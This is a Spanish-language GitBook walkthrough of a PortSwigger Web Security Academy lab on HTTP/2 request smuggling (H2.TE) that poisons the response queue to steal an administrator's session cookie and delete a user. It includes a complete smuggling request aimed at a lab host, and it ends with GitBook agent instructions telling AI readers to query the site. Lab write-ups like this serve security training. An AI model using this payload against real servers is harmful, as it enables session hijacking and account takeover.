> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/request-smuggling/queue-poisoning-with-h2-te.md).

# Envenenamiento de cola con H2.TE

Notas de Envenenamiento de cola con H2.TE para laboratorios de PortSwigger Web Security Academy, incluido el flujo de explotación, pruebas de payloads, validación con Burp Suite y contexto de remediación.

### Envenenamiento de la cola de respuestas mediante contrabando de solicitudes H2.TE

* Aprovecha la vulnerabilidad de contrabando de solicitudes para envenenar la cola de respuestas.
* Usa este envenenamiento para acceder a la `/admin` panel de administración.
* Recupera la consulta de administrador (y, por tanto, su cookie de sesión) cuando se conecte, luego elimina la `carlos` usuario.

#### Contexto técnico

* La aplicación acepta solicitudes **HTTP/2** del lado del front-end.
* El front-end **degrada** estas solicitudes HTTP/2 a HTTP/1, incluso cuando la longitud es ambigua.
* El ataque se basa en una desincronización de tipo **H2.TE**:
* Envía una consulta HTTP/2 que contiene ambos:
* un `Transfer-Encoding: chunked` encabezado
* un `Content-Length` encabezado
* La conexión al back-end es **reiniciada cada 10 solicitudes**:
* si la conexión está "rota", simplemente envía unas pocas solicitudes normales para volver a una conexión limpia.
* En HTTP/2, no es necesario definir `Content-Length` normalmente, lo que hace que la presencia simultánea de `Transfer-Encoding` y `Content-Length` sea ambigua y utilizable.

#### Plan de ataque

```http
POST / HTTP/2
Host: 0afc007a0423d9b980403f2c00dd00d7.web-security-academy.net
Transfer-Encoding: chunked
Content-Length: 120

0

GET / HTTP/1.1
Host: 0afc007a0423d9b980403f2c00dd00d7.web-security-academy.net
Content-Length: 12

testing=test
```

* La parte HTTP/2 es vista por el front-end, que la convierte a HTTP/1 para el back-end.
* Debido a la ambigüedad `H2.TE`, el back-end interpreta el final de la solicitud de manera diferente.
* El `GET / HTTP/1.1` la línea y lo que sigue son **inyectados furtivamente** como el inicio de la siguiente consulta en la línea del back-end.

Nosotros **recuperar la solicitud del administrador envenenado**, lo que nos permite obtener: su **cookie de sesión**.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f8cb9656f46ad61c65345f4030871c2a00e0f9c3%2F%7B606041C0-7B5F-4BC8-A64C-6FCDB7449828%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ce994d5a72a05bd41fe1b2696e392f6acffc2e70%2F%7B856ABF65-A462-44BA-827E-E044AB503A36%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/es/web/request-smuggling/queue-poisoning-with-h2-te.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
